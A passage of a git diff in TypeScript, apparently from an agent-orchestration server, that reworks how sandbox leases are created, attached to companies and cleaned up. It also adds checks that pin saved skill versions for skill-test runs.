providerLease = await acquireSandboxProviderLease({ + providerLease = await createOwnedSandbox(db, { + companyId: input.companyId, environmentId: input.environment.id, heartbeatRunId: input.heartbeatRunId, + issueId: input.issueId, executionWorkspaceId: input.executionWorkspaceId, provider: parsed.config.provider, + driverKey: parsed.config.provider, config: sandboxConfigForLeaseMetadata(parsed.config), + requestKey: createHash("sha256").update(JSON.stringify(parsed.config)).digest("hex"), + metadata: { ...sandboxConfigForLeaseMetadata(parsed.config), driver: input.environment.driver }, + }, identity => acquireSandboxProviderLease({ config: parsed.config, environmentId: input.environment.id, - heartbeatRunId: input.heartbeatRunId ?? randomUUID(), + heartbeatRunId: identity.runId, issueId: input.issueId, agentId: input.agentId, executionWorkspaceId: input.executionWorkspaceId, @@ -2452,7 +2103,7 @@ function createSandboxEnvironmentDriver( // Forward a caller deadline so the provider configures a provider-side // expiry at or before it and returns the real provider expiry. requestedExpiresAt: requestedExpiresAtParam(input.requestedExpiresAt), - }); + })); } catch (error) { if (reusableLease) { throw new ReusableSandboxResumeError({ @@ -2521,72 +2172,35 @@ function createSandboxEnvironmentDriver( : {}), ...(reusableScope ? { reusableSandboxLease: reusableScope } : {}), }; - try { - return await environmentsSvc.acquireLease({ - companyId: input.companyId, - environmentId: input.environment.id, - executionWorkspaceId: input.executionWorkspaceId, - issueId: input.issueId, - heartbeatRunId: input.heartbeatRunId, - assertCompanyBinding: input.assertCompanyBinding, - leasePolicy: resolvedLeasePolicy, - provider: parsed.config.provider, - providerLeaseId: providerLease.providerLeaseId, - expiresAt: providerAttestedLeaseExpiry( - input.requestedExpiresAt, - providerLease.expiresAt ? new Date(providerLease.expiresAt) : undefined, - ), - metadata: builtinLeaseMetadata, - reusesReusableLeaseId: - reusableLease && - providerLease.providerLeaseId === reusableLease.providerLeaseId && - reusableLease.heartbeatRunId === input.heartbeatRunId - ? reusableLease.id - : null, - replacesReusableLeaseId: - reusableLease && - providerLease.providerLeaseId === reusableLease.providerLeaseId && - reusableLease.heartbeatRunId !== input.heartbeatRunId - ? reusableLease.id - : null, - }); - } catch (error) { - // The conditional lease insert rejected, so no lease row exists. A managed - // reconciliation can bind the environment to another company between the - // route guard and this insert, so the insert fails closed with - // `environment_company_mismatch`. This call already provisioned the remote - // sandbox above, so release it now. Without this teardown the rejected - // insert leaks a live sandbox that no lease row tracks. Do not tear down a - // reused sandbox that an earlier lease still owns. - if (!reusableLease || providerLease.providerLeaseId !== reusableLease.providerLeaseId) { - // Record the durable pending-cleanup row before the teardown, then - // release the remote sandbox. On a successful teardown the handler - // releases the row. If the durable write and the teardown both fail, - // the handler throws a `SandboxOrphanCleanupWriteError` that carries the - // original rejection as its cause. - await cleanUpRejectedOrphanSandbox({ - record: { - companyId: input.companyId, - environmentId: input.environment.id, - executionWorkspaceId: input.executionWorkspaceId ?? null, - issueId: input.issueId ?? null, - heartbeatRunId: input.heartbeatRunId ?? null, - provider: parsed.config.provider, - providerLeaseId: providerLease.providerLeaseId, - metadata: builtinLeaseMetadata, - }, - cause: error, - canTeardown: true, - teardown: async () => { - await destroySandboxProviderLease({ - config: parsed.config, - providerLeaseId: providerLease.providerLeaseId, - }); - }, - }); - } - throw error; - } + return await environmentsSvc.acquireLease({ + creationOperationId: providerLease.metadata?.creationOperationId as string | undefined, + companyId: input.companyId, + environmentId: input.environment.id, + executionWorkspaceId: input.executionWorkspaceId, + issueId: input.issueId, + heartbeatRunId: input.heartbeatRunId, + assertCompanyBinding: input.assertCompanyBinding, + leasePolicy: resolvedLeasePolicy, + provider: parsed.config.provider, + providerLeaseId: providerLease.providerLeaseId, + expiresAt: providerAttestedLeaseExpiry( + input.requestedExpiresAt, + providerLease.expiresAt ? new Date(providerLease.expiresAt) : undefined, + ), + metadata: builtinLeaseMetadata, + reusesReusableLeaseId: + reusableLease && + providerLease.providerLeaseId === reusableLease.providerLeaseId && + reusableLease.heartbeatRunId === input.heartbeatRunId + ? reusableLease.id + : null, + replacesReusableLeaseId: + reusableLease && + providerLease.providerLeaseId === reusableLease.providerLeaseId && + reusableLease.heartbeatRunId !== input.heartbeatRunId + ? reusableLease.id + : null, + }); }, async releaseRunLease(input) { @@ -2719,7 +2333,7 @@ function createSandboxEnvironmentDriver( `Sandbox provider "${recordedProvider}" needs a plugin worker manager for cleanup, but none is available.`, ); } - const pinnedPluginId = exportResume ? readString(input.lease.metadata?.pluginId) : null; + const pinnedPluginId = exportResume || input.lease.metadata?.creationOperationId ? readString(input.lease.metadata?.pluginId) : null; if (exportResume && !pinnedPluginId) throw new Error("Workspace export cleanup has no recorded provider plugin."); const pluginProvider = await resolveSandboxProviderPlugin({ provider: recordedProvider, ...(pinnedPluginId ? { pluginId: pinnedPluginId } : {}) }); if (pluginProvider.state !== "running") { @@ -3534,6 +3148,7 @@ const INTERNAL_PLUGIN_SANDBOX_CONFIG_KEYS = new Set([ "remoteCwd", "shellCommand", "sandboxProviderPlugin", + "creationOperationId", "sandboxLeaseAcquisition", "nativeHarnessBackup", "nativeWorkspaceSync", @@ -3698,13 +3313,20 @@ function createPluginEnvironmentDriver( resumed = undefined; } } - const providerLease = resumed ?? await workerManager.call(plugin.id, "environmentAcquireLease", { + const providerLease = resumed ?? await createOwnedSandbox(db, { + companyId: input.companyId, environmentId: input.environment.id, heartbeatRunId: input.heartbeatRunId, + issueId: input.issueId, executionWorkspaceId: input.executionWorkspaceId, + provider: `plugin:${parsed.config.pluginKey}:${parsed.config.driverKey}`, pluginId: plugin.id, driverKey: parsed.config.driverKey, + config: {}, timeoutMs: rpcTimeoutMs, requestKey: fingerprint, + metadata: { driver: "plugin", pluginId: plugin.id, pluginKey: parsed.config.pluginKey, driverKey: parsed.config.driverKey }, + }, identity => workerManager.call(plugin.id, "environmentAcquireLease", { driverKey: parsed.config.driverKey, companyId: input.companyId, environmentId: input.environment.id, issueId: input.issueId, config: parsed.config.driverConfig, - runId: input.heartbeatRunId ?? randomUUID(), + runId: identity.runId, + creationOperationId: identity.id, workspaceMode: input.executionWorkspaceMode ?? undefined, agentId: input.agentId ?? undefined, executionWorkspaceId: input.executionWorkspaceId ?? undefined, @@ -3715,9 +3337,10 @@ function createPluginEnvironmentDriver( ...(requestedExpiresAtParam(input.requestedExpiresAt) !== undefined ? { requestedExpiresAt: requestedExpiresAtParam(input.requestedExpiresAt) } : {}), - } as PluginEnvironmentAcquireLeaseParams, ...timeoutOverride); + } as PluginEnvironmentAcquireLeaseParams, ...timeoutOverride)); return await environmentsSvc.acquireLease({ + creationOperationId: resumed ? undefined : providerLease.metadata?.creationOperationId as string | undefined, companyId: input.companyId, environmentId: input.environment.id, executionWorkspaceId: input.executionWorkspaceId, @@ -3964,14 +3587,13 @@ export function environmentRuntimeService( pluginWorkerManager?: PluginWorkerManager; pluginWorkerReadyTimeoutMs?: number; pluginWorkerReadyPollMs?: number; - pendingCleanupWriteAttempts?: number; - pendingCleanupWriteBackoffMs?: number; deferredOrphanCleanupBufferLimit?: number; orphanCleanupSpool?: SandboxOrphanCleanupSpool; orphanCleanupSpoolDir?: string; } = {}, ) { const environmentsSvc = environmentService(db); + let orphanRecoveryFlush: Promise<{ recovered: number; pending: number }> | null = null; const drivers = new Map(); const defaultDrivers = [ @@ -3981,8 +3603,6 @@ export function environmentRuntimeService( pluginWorkerManager: options.pluginWorkerManager, pluginWorkerReadyTimeoutMs: options.pluginWorkerReadyTimeoutMs, pluginWorkerReadyPollMs: options.pluginWorkerReadyPollMs, - pendingCleanupWriteAttempts: options.pendingCleanupWriteAttempts, - pendingCleanupWriteBackoffMs: options.pendingCleanupWriteBackoffMs, deferredOrphanCleanupBufferLimit: options.deferredOrphanCleanupBufferLimit, orphanCleanupSpool: options.orphanCleanupSpool, orphanCleanupSpoolDir: options.orphanCleanupSpoolDir, @@ -4439,14 +4059,53 @@ export function environmentRuntimeService( return driver.isPendingCleanupWorkerReady(input); }, - // Flush the in-process orphan-cleanup buffers of every driver that keeps one. - // The cleanup sweep calls this each tick, so a buffered orphan lands a durable - // `pending_cleanup` row once the database recovers, and the same sweep tears - // it down. The dispatcher sums the recovered and pending counts across all - // drivers. A driver with no buffer contributes nothing. + // Recover committed creation operations before replaying legacy cleanup inputs. + // New creation failures retain their database operation and do not make files. + // Legacy buffers and files remain until their cleanup rows are durable. async flushDeferredOrphanCleanups(): Promise<{ recovered: number; pending: number }> { - return flushDeferredEnvironmentCleanup(db, Array.from(drivers.values()) - .flatMap(driver => driver.flushDeferredOrphanCleanups ? [driver.flushDeferredOrphanCleanups] : [])); + orphanRecoveryFlush ??= (async () => { + await recoverSandboxCreations(db, async operation => { + if (!operation.pluginId || operation.metadata.sandboxProviderPlugin !== true) return null; + if (!options.pluginWorkerManager) throw new Error("Sandbox creation recovery worker is unavailable"); + const plugin = await pluginRegistryService(db).getById(operation.pluginId); + const driver = plugin?.manifestJson.environmentDrivers?.find(value => value.driverKey === operation.driverKey); + if (driver?.creationOperationVersion !== 1) return null; + if (!options.pluginWorkerManager.isRunning(operation.pluginId) || + !options.pluginWorkerManager.getWorker(operation.pluginId)?.supportedMethods.includes("environmentInspectLease")) { + throw new Error("Sandbox creation recovery worker is unavailable"); + } + let resolved: SandboxEnvironmentConfig; + try { + resolved = await resolveSandboxCleanupConfigSecrets(db, operation.companyId, + operation.config as SandboxEnvironmentConfig, { issueId: operation.issueId }); + } catch (error) { + // Missing or explicitly inactive saved credentials need an operator. + // Temporary database/provider failures still retain retry ownership. + const code = error instanceof HttpError ? (error.details as { code?: string } | undefined)?.code : undefined; + if (error instanceof HttpError && ( + (error.status === 404 && (code === "secret_deleted" || code === "version_missing" || + (error.details === undefined && error.message === "Secret not found"))) || + (error.status === 422 && (code === "secret_inactive" || code === "version_inactive" || + (error.details === undefined && (error.message === "Provider vault is disabled" || + error.message === "Provider vault is locked while coming soon")))) + )) return null; + throw error; + } + const credentialHashes = operation.metadata.creationCredentialHashes as Record | undefined; + for (const [path, expected] of Object.entries(credentialHashes ?? {})) { + const actual = readConfigValueAtPath({ ...resolved }, path); + if (typeof actual !== "string" || createHash("sha256").update(actual).digest("hex") !== expected) return null; + } + return options.pluginWorkerManager.call(operation.pluginId, "environmentInspectLease", { + driverKey: operation.driverKey, companyId: operation.companyId, environmentId: operation.originalEnvironmentId, + config: stripSandboxProviderEnvelope(resolved), providerLeaseId: operation.id, + creationOperation: { id: operation.id, runId: operation.runId }, + }); + }); + return flushDeferredEnvironmentCleanup(db, Array.from(drivers.values()) + .flatMap(driver => driver.flushDeferredOrphanCleanups ? [driver.flushDeferredOrphanCleanups] : [])); + })().finally(() => { orphanRecoveryFlush = null; }); + return orphanRecoveryFlush; }, async destroyReusableSandboxLeases(input: { diff --git a/server/src/services/environment-task-runtime.ts b/server/src/services/environment-task-runtime.ts index 5abe356bda3..3595d00b430 100644 --- a/server/src/services/environment-task-runtime.ts +++ b/server/src/services/environment-task-runtime.ts @@ -1,8 +1,6 @@ -import { beginIdleTrackedWork } from "./task-admission.js"; -import { registerDeferredEnvironmentCleanup, writeEnvironmentCleanup } from "./environment-cleanup-notifications.js"; -import { environmentService } from "./environments.js"; -import { createSandboxOrphanCleanupSpool, type DeferredOrphanCleanupRecord } from "./sandbox-orphan-cleanup-spool.js"; -import { logger } from "../middleware/logger.js"; +import { attachSandboxCreation, environmentService } from "./environments.js"; +import { createOwnedSandbox, recordSandboxCreationResource } from "./sandbox-creation-operations.js"; +import { writeEnvironmentCleanup } from "./environment-cleanup-notifications.js"; import { releaseProviderRecoveryTransfers, stageProviderFreshWorkspace } from "./provider-fresh-workspace.js"; import { readWorkspaceProviderBinding } from "@paperclipai/shared"; import { settlePluginTaskCredentialHandoff } from "./plugin-task-credential-writeback.js"; @@ -234,59 +232,38 @@ export async function executeEnvironmentTask(db: Db, workers: PluginWorkerManage metadata: sql`coalesce(${environmentLeases.metadata}, '{}'::jsonb) || ${JSON.stringify({runnerTaskExecutionStopped:true, runnerTaskSessionRetained:state.sessionStateAvailable === true})}::jsonb`, }).where(and(eq(environmentLeases.id, metadata.runnerTaskPreviousLeaseId), eq(environmentLeases.companyId, input.companyId))); - const fresh = await workers.call(plugin.id, "environmentAcquireLease", {driverKey:metadata.driverKey, + const replacementDriverKey = metadata.driverKey; + const fresh = await createOwnedSandbox(db, { + companyId: input.companyId, environmentId: environment!.id, heartbeatRunId: lease.heartbeatRunId, + issueId: lease.issueId, executionWorkspaceId: lease.executionWorkspaceId, provider: lease.provider!, + pluginId: plugin.id, driverKey: metadata.driverKey, config: {}, requestKey: taskId, + metadata: { driver: "plugin", pluginId: plugin.id, pluginKey: plugin.pluginKey, driverKey: metadata.driverKey, runnerTaskLease: true }, + }, identity => workers.call(plugin.id, "environmentAcquireLease", {driverKey:replacementDriverKey, companyId:input.companyId,environmentId:environment!.id,issueId:lease.issueId,config:driverConfig, - runId:run!.id,agentId:run!.agentId,adapterType:"paperclip_runner", - ...(typeof metadata.runnerTaskRequestedExpiresAt === "string" ? {requestedExpiresAt:metadata.runnerTaskRequestedExpiresAt} : {})}); + runId:identity.runId,creationOperationId:identity.id,agentId:run!.agentId,adapterType:"paperclip_runner", + ...(typeof metadata.runnerTaskRequestedExpiresAt === "string" ? {requestedExpiresAt:metadata.runnerTaskRequestedExpiresAt} : {})})); if (!fresh.providerLeaseId || fresh.providerLeaseId === taskId) throw new Error("Plugin replacement task identity unavailable"); + await recordSandboxCreationResource(db, { id: String(fresh.metadata!.creationOperationId), companyId: input.companyId, + environmentId: environment!.id, providerLeaseId: fresh.providerLeaseId }); const {runnerTaskIdentity:_identity,runnerTaskPriorIdentity:_prior,runnerTaskCredentialHandoff:_handoff, runnerTaskResumeFrom:_resume,runnerTaskPreviousLeaseId:_previous,...rest}=metadata; const replacementMetadata={...rest,providerMetadata:fresh.metadata ?? {},runnerTaskReused:false,runnerTaskDispatched:false, runnerTaskExecutionStopped:false,runnerTaskSessionRetained:false}; - try { + { const expiresAt=fresh.expiresAt ? new Date(fresh.expiresAt) : null; const deadline=typeof metadata.runnerTaskRequestedExpiresAt === "string" ? Date.parse(metadata.runnerTaskRequestedExpiresAt) : null; if ((expiresAt && (!Number.isFinite(expiresAt.getTime()) || expiresAt.getTime() <= Date.now())) || (deadline !== null && (!Number.isFinite(deadline) || !expiresAt || expiresAt.getTime() > deadline))) throw new Error("Plugin replacement task expiry is not bounded"); - const replacement = await db.update(environmentLeases).set({providerLeaseId:fresh.providerLeaseId,expiresAt, - metadata:replacementMetadata, + await attachSandboxCreation(db, String(fresh.metadata!.creationOperationId), { companyId: input.companyId, environmentId: environment!.id, heartbeatRunId: lease.heartbeatRunId }, async tx => { + const [updated] = await tx.update(environmentLeases).set({providerLeaseId:fresh.providerLeaseId,expiresAt, + metadata:{...replacementMetadata,creationOperationId:fresh.metadata!.creationOperationId}, }).where(and(eq(environmentLeases.id,lease.id),eq(environmentLeases.providerLeaseId,taskId), eq(environmentLeases.status,"active"))).returning({id:environmentLeases.id}); - if (replacement.length !== 1) throw new Error("Plugin task replacement ownership changed"); - } catch (error) { - try { - await workers.call(plugin.id,"environmentReleaseLease",{driverKey:metadata.driverKey,companyId:input.companyId, - environmentId:environment!.id,issueId:lease.issueId,config:driverConfig,providerLeaseId:fresh.providerLeaseId, - leaseMetadata:replacementMetadata}); - } catch { - const orphan:DeferredOrphanCleanupRecord={companyId:input.companyId,environmentId:environment!.id, - executionWorkspaceId:lease.executionWorkspaceId,issueId:lease.issueId,heartbeatRunId:lease.heartbeatRunId, - provider:lease.provider!,providerLeaseId:fresh.providerLeaseId,metadata:replacementMetadata}; - try { - await environmentService(db).insertPendingCleanupLease({...orphan,failureReason:"plugin_task_replacement_unowned"}); - } catch { - // The existing orphan spool recovers cleanup even when the database is unavailable. - const spool = createSandboxOrphanCleanupSpool(); - const persisted = await spool.append(orphan); - const finish = beginIdleTrackedWork(); - let flushing: Promise<{ recovered: number; pending: number }> | null = null; - const unregister = registerDeferredEnvironmentCleanup(db, () => { - flushing ??= (async () => { - await environmentService(db).insertPendingCleanupLease({...orphan,failureReason:"plugin_task_replacement_unowned"}); - await spool.remove(orphan); - unregister(); - finish(); - return { recovered: 1, pending: 0 }; - })().catch(error => { flushing = null; throw error; }); - // Keep successful completion for a concurrent sweep that already - // captured this callback before it was unregistered. - return flushing; - }); - logger.error({providerLeaseId:fresh.providerLeaseId,persisted},"Plugin replacement cleanup requires recovery"); - } - } - throw error; + if (!updated) throw new Error("Plugin task replacement ownership changed"); + return (await environmentService(tx).getLeaseById(updated.id))!; + }); + } return executeEnvironmentTask(db, workers, input); } diff --git a/server/src/services/environments.ts b/server/src/services/environments.ts index ea72243e464..e46df62ed7d 100644 --- a/server/src/services/environments.ts +++ b/server/src/services/environments.ts @@ -16,6 +16,7 @@ import { companySecretBindings, environmentCustomImageSetupSessions, environmentLeases, + sandboxCreationOperations, environments, executionWorkspaces, heartbeatRuns, @@ -48,6 +49,43 @@ import { type ManagedResourceStockStatus, } from "./managed-resource-drift.js"; +export async function attachSandboxCreation(db: Db, id: string, scope: { companyId: string; environmentId: string; heartbeatRunId?: string | null }, + attach: (tx: Db) => Promise): Promise { + return db.transaction(async tx => { + await assertEnvironmentCompanyBinding(tx as unknown as Db, scope.environmentId, scope.companyId); + const [operation] = await tx.select().from(sandboxCreationOperations) + .where(and(eq(sandboxCreationOperations.id, id), eq(sandboxCreationOperations.companyId, scope.companyId), + eq(sandboxCreationOperations.originalEnvironmentId, scope.environmentId))).for("update"); + if (scope.heartbeatRunId) { + const [run] = await tx.select({ id: heartbeatRuns.id }).from(heartbeatRuns).where(and( + eq(heartbeatRuns.id, scope.heartbeatRunId), eq(heartbeatRuns.companyId, scope.companyId), eq(heartbeatRuns.status, "running"), + )).for("update"); + if (!run || operation?.runId !== scope.heartbeatRunId) throw new Error("Sandbox creation run authority changed"); + } + if (operation?.state === "attached" && operation.leaseId) { + const existing = await environmentService(tx as unknown as Db).getLeaseById(operation.leaseId); + if (existing?.status === "active") return existing; + } + if (!operation || operation.state !== "pending") throw new Error("Sandbox creation ownership has already transferred"); + const lease = await attach(tx as unknown as Db); + await notifyEnvironmentCleanup(tx, { companyId: scope.companyId }); + await tx.update(sandboxCreationOperations).set({ state: "attached", leaseId: lease.id, updatedAt: new Date() }) + .where(eq(sandboxCreationOperations.id, id)); + return lease; + }); +} + +export async function assertEnvironmentCompanyBinding(db: Db, environmentId: string, companyId: string): Promise { + const [environment] = await db.select({ id: environments.id }).from(environments) + .where(eq(environments.id, environmentId)).for("update"); + if (!environment) throw new Error("Sandbox creation environment no longer exists"); + const bindings = await db.select({ companyId: builtInManagedResources.companyId }).from(builtInManagedResources) + .where(and(eq(builtInManagedResources.resourceKind, "environment"), eq(builtInManagedResources.resourceId, environmentId))); + if (bindings.length && !bindings.some(binding => binding.companyId === companyId)) { + throw forbidden("The selected environment belongs to another company.", { code: "environment_company_mismatch" }); + } +} + type EnvironmentRow = typeof environments.$inferSelect; type EnvironmentLeaseRow = typeof environmentLeases.$inferSelect; const DEFAULT_LOCAL_ENVIRONMENT_NAME = "Local"; @@ -1428,6 +1466,7 @@ export function environmentService(db: Db) { }, acquireLease: async (input: { + creationOperationId?: string; companyId: string; environmentId: string; executionWorkspaceId?: string | null; @@ -1465,6 +1504,11 @@ export function environmentService(db: Db) { */ assertCompanyBinding?: boolean; }): Promise => { + if (input.creationOperationId) { + const { creationOperationId, ...leaseInput } = input; + return attachSandboxCreation(db, creationOperationId, { companyId: input.companyId, environmentId: input.environmentId, heartbeatRunId: input.heartbeatRunId }, + tx => environmentService(tx).acquireLease({ ...leaseInput, assertCompanyBinding: true })); + } const now = new Date(); const replacementLeaseId = input.replacesReusableLeaseId ? randomUUID() : null; const values = { @@ -1515,48 +1559,7 @@ export function environmentService(db: Db) { companyId: input.companyId, runId: input.heartbeatRunId, }); if (input.assertCompanyBinding) { - // Lock the environment row first. Managed reconciliation locks the - // same sandbox environment rows with `for update` before it writes a - // company binding, so this lock serializes the two transactions on - // this row and closes the time-of-check to time-of-use window. - await tx - .select({ id: environments.id }) - .from(environments) - .where(eq(environments.id, input.environmentId)) - .for("update"); - // Re-read the company binding inside the locked transaction. A - // binding a reconciliation committed after the route guard now - // appears here. Reject a foreign-company environment before the - // insert, so the login holds no lease. - const boundRows = await tx - .select({ companyId: builtInManagedResources.companyId }) - .from(builtInManagedResources) - .where( - and( - eq( - builtInManagedResources.resourceKind, - MANAGED_ENVIRONMENT_RESOURCE_KIND, - ), - eq( - builtInManagedResources.resourceId, - input.environmentId, - ), - ), - ); - const boundCompanyIds = Array.from( - new Set(boundRows.map((boundRow) => boundRow.companyId)), - ); - if ( - boundCompanyIds.length > 0 && - !boundCompanyIds.includes(input.companyId) - ) { - throw forbidden( - "The selected environment belongs to another company.", - { - code: "environment_company_mismatch", - }, - ); - } + await assertEnvironmentCompanyBinding(tx as unknown as Db, input.environmentId, input.companyId); } if (input.replacesReusableLeaseId) { await notifyChatInboundWakeNotices(tx, { companyId: input.companyId }); @@ -1699,6 +1702,7 @@ export function environmentService(db: Db) { const [previous] = await tx.select({ companyId: environmentLeases.companyId, issueId: environmentLeases.issueId, heartbeatRunId: environmentLeases.heartbeatRunId, status: environmentLeases.status, cleanupStatus: environmentLeases.cleanupStatus, releasedAt: environmentLeases.releasedAt, + creationOperationId: sql`${environmentLeases.metadata}->>'creationOperationId'`, }).from(environmentLeases).where(condition).for("update"); if (!previous) return null; await notifyEnvironmentCleanup(tx, { companyId: previous.companyId, runId: previous.heartbeatRunId ?? undefined }); @@ -1715,6 +1719,11 @@ export function environmentService(db: Db) { companyId: previous.companyId, runId: previous.heartbeatRunId, }); } + if (previous.creationOperationId && previous.status === "pending_cleanup" && options?.cleanupStatus === "success" && status !== "pending_cleanup") { + await tx.update(sandboxCreationOperations).set({ state: "resolved", updatedAt: now }) + .where(and(eq(sandboxCreationOperations.id, previous.creationOperationId), eq(sandboxCreationOperations.companyId, previous.companyId), + eq(sandboxCreationOperations.leaseId, id), eq(sandboxCreationOperations.state, "cleanup_pending"))); + } return tx.update(environmentLeases) .set({ status, diff --git a/server/src/services/heartbeat.ts b/server/src/services/heartbeat.ts index ffa4d03d046..3de69608756 100644 --- a/server/src/services/heartbeat.ts +++ b/server/src/services/heartbeat.ts @@ -2628,7 +2628,7 @@ export function heartbeatService( usageJson: sql`coalesce(${heartbeatRuns.usageJson}, '{}'::jsonb) || ${JSON.stringify({ ledgerScope: runLedgerScope })}::jsonb`, }).where(eq(heartbeatRuns.id, run.id)); const { - continuationSummary, executionContinuation, paperclipWakePayload, safeWakeComments, safeWakeCommentContext, + continuationSummary, executionContinuation, paperclipWakePayload, safeWakeComments, safeWakeCommentContext, pinnedSkillTest, } = await timePreparation("task_context", () => prepareHeartbeatTaskContext(db, { run, agent, task: { issueRef, issueContext, wakeCommentContext, context, taskSession }, @@ -2683,7 +2683,7 @@ export function heartbeatService( let nativeChatExpectedCwd = selectedNativeChatExpectedCwd; const executionConfiguration = await timePreparation("execution_configuration", () => prepareHeartbeatExecutionConfiguration(db, { run, agent, - task: { issueId, context, responsibleUserId, acceptedPlanContinuationWake, acceptedPlanWakeRoutingDecision, taskProjectContext, routineEnvContext }, + task: { issueId, context, responsibleUserId, acceptedPlanContinuationWake, acceptedPlanWakeRoutingDecision, taskProjectContext, routineEnvContext, pinnedSkillTest }, config: { sourceWorkspaceConfig, aiBinding }, policy: { trustPreset, useIsolatedTaskDirectory, explicitTaskDirectory, requestedExecutionWorkspaceMode }, environment: { selectedEnvironmentId, selectedEnvironmentForConfig, resolvedInstanceSettings, persistedNativeExecutionInput }, diff --git a/server/src/services/heartbeat/execution-configuration.ts b/server/src/services/heartbeat/execution-configuration.ts index 0e10cf59b5a..9dd767a3811 100644 --- a/server/src/services/heartbeat/execution-configuration.ts +++ b/server/src/services/heartbeat/execution-configuration.ts @@ -63,6 +63,8 @@ export interface HeartbeatExecutionConfigurationInput { acceptedPlanWakeRoutingDecision: Awaited> | null; taskProjectContext: Pick | null; routineEnvContext: Awaited["getRoutineEnvForExecutionIssue"]>>; + /** Resolved from the durable Studio test row by task-context, never wake input. */ + pinnedSkillTest?: { key: string; versionId: string } | null; }; config: { sourceWorkspaceConfig: Record; @@ -88,13 +90,18 @@ export interface HeartbeatExecutionConfigurationInput { export async function prepareHeartbeatExecutionConfiguration(db: Db, input: HeartbeatExecutionConfigurationInput) { const { run, agent, onFailureSecretsResolved, onManagedAiRuntimeAcquired, onIdentityRedactorPrepared } = input; const time = createHeartbeatPreparationTiming(run.id); - const { issueId, context, responsibleUserId, acceptedPlanContinuationWake, acceptedPlanWakeRoutingDecision, taskProjectContext, routineEnvContext } = input.task; + const { issueId, context, responsibleUserId, acceptedPlanContinuationWake, acceptedPlanWakeRoutingDecision, taskProjectContext, routineEnvContext, pinnedSkillTest } = input.task; const { selectedEnvironmentId, selectedEnvironmentForConfig, resolvedInstanceSettings, persistedNativeExecutionInput } = input.environment; const sourceWorkspaceConfig = agent.adapterType === "paperclip_runner" ? { ...input.config.sourceWorkspaceConfig, homeMode: bindHeartbeatRunnerHomeMode(parseObject(agent.adapterConfig), persistedNativeExecutionInput).homeMode } : input.config.sourceWorkspaceConfig; const preconfiguredHome = agent.adapterType === "paperclip_runner" && sourceWorkspaceConfig.homeMode === "preconfigured"; + if (preconfiguredHome && pinnedSkillTest) { + throw new ConfigurationIncompleteFailure("Skill tests require an isolated Runner home to deliver the saved version.", { + configurationIncomplete: { reason: "skill_unavailable", actionUrl: `/agents/${agent.id}/runtime` }, + }); + } const initialHarness = agentHarnessType(agent.adapterType, sourceWorkspaceConfig); const observabilityKind = (harness: string) => harness === "codex_local" ? "codex" as const : harness === "claude_local" ? "claude" as const @@ -133,7 +140,7 @@ export async function prepareHeartbeatExecutionConfiguration(db: Db, input: Hear const skillActor: AuthorizationActor = { type: "agent", agentId: agent.id, companyId: agent.companyId, runId: run.id, source: "agent_jwt", onBehalfOfUserId: responsibleUserId === "local-board" ? null : responsibleUserId }; const runScopedMentionedSkillKeys = - preconfiguredHome ? [] : await time("configuration_mentions", () => resolveRunScopedMentionedSkillKeys({ + preconfiguredHome || pinnedSkillTest ? [] : await time("configuration_mentions", () => resolveRunScopedMentionedSkillKeys({ db, companyId: agent.companyId, issueId, @@ -141,7 +148,7 @@ export async function prepareHeartbeatExecutionConfiguration(db: Db, input: Hear actor: skillActor, })); const runScopedSkillKeys = - acceptedPlanContinuationWake && + !pinnedSkillTest && acceptedPlanContinuationWake && !acceptedPlanWakeRoutingDecision?.suppressAcceptedContinuation ? [...runScopedMentionedSkillKeys, ACCEPTED_PLAN_CONVERSION_SKILL_KEY] : runScopedMentionedSkillKeys; @@ -237,13 +244,22 @@ export async function prepareHeartbeatExecutionConfiguration(db: Db, input: Hear } const storedVersions = parseObject(run.contextSnapshot?.skillVersions); const hasStoredVersions = Object.prototype.hasOwnProperty.call(run.contextSnapshot ?? {}, "skillVersions"); + if (hasStoredVersions && (!run.contextSnapshot?.skillVersions || typeof run.contextSnapshot.skillVersions !== "object" + || Array.isArray(run.contextSnapshot.skillVersions) || Object.values(storedVersions).some(value => + typeof value !== "string" || !/^[a-f0-9]{8}(?:-[a-f0-9]{4}){3}-[a-f0-9]{12}$/i.test(value)))) { + throw new ConfigurationIncompleteFailure("The saved skill selection is incomplete. Recover its exact versions before retrying.", { + configurationIncomplete: { reason: "skill_unavailable", actionUrl: "/skills" }, + }); + } const savedShadowedSkills = Array.isArray(run.contextSnapshot?.shadowedSkills) ? run.contextSnapshot.shadowedSkills.flatMap(value => { const saved = parseObject(value); return typeof saved.key === "string" && typeof saved.shadowedBy === "string" && Object.hasOwn(storedVersions, saved.shadowedBy) ? [{ key: saved.key, shadowedBy: saved.shadowedBy }] : []; }) : []; - const selectedConfig = applyRunScopedMentionedSkillKeys(resolvedConfig, runScopedSkillKeys); + const selectedConfig = pinnedSkillTest + ? writePaperclipSkillSyncPreference(resolvedConfig, [pinnedSkillTest]) + : applyRunScopedMentionedSkillKeys(resolvedConfig, runScopedSkillKeys); const { config: effectiveResolvedConfig, skillKeys: environmentSkills, shadowedSkills } = hasStoredVersions ? { config: selectedConfig, skillKeys: [], shadowedSkills: savedShadowedSkills } : await environmentSkillConfig(db, agent.companyId, selectedEnvironmentForConfig, selectedConfig); @@ -267,40 +283,55 @@ export async function prepareHeartbeatExecutionConfiguration(db: Db, input: Hear : skillVersionSelectionMap(runtimeSkillPreference.desiredSkillEntries, { versionPinsEnabled: resolvedInstanceSettings.experimental.enableBetaSkills === true, }); + // Studio always executes its saved revision, independently of assignment + // pins and the Beta skills preference. Recovery keeps the admitted map. + if (!hasStoredVersions && pinnedSkillTest) versionSelections.set(pinnedSkillTest.key, pinnedSkillTest.versionId); return await withSkillActor(skillActor, () => companySkills.withRuntimeSkillEntries(agent.companyId, { versionSelections, snapshotLatest: true, - ...(hasStoredVersions && run.contextSnapshot?.skillSelectionSnapshot === true + ...(hasStoredVersions ? { onlyKeys: new Set(Object.keys(storedVersions)) } : { selectionConfig: effectiveResolvedConfig, includeLegacy: agent.adapterType !== "paperclip_runner" }), + selectVersions: async entries => { + const available = hasStoredVersions ? entries.filter(entry => Object.prototype.hasOwnProperty.call(storedVersions, entry.key)) : entries; + const availableKeys = new Set(available.map(entry => entry.key)); + if (!hasStoredVersions && pinnedSkillTest && (!availableKeys.has(pinnedSkillTest.key) + || shadowedSkills?.some(skill => skill.key === pinnedSkillTest.key))) { + throw new ConfigurationIncompleteFailure("The skill test's pinned skill is unavailable or no longer permitted.", { + configurationIncomplete: { reason: "skill_unavailable", actionUrl: "/skills" }, + }); + } + if (hasStoredVersions && Object.keys(storedVersions).some(key => !availableKeys.has(key))) { + throw new ConfigurationIncompleteFailure("A pinned skill is unavailable or no 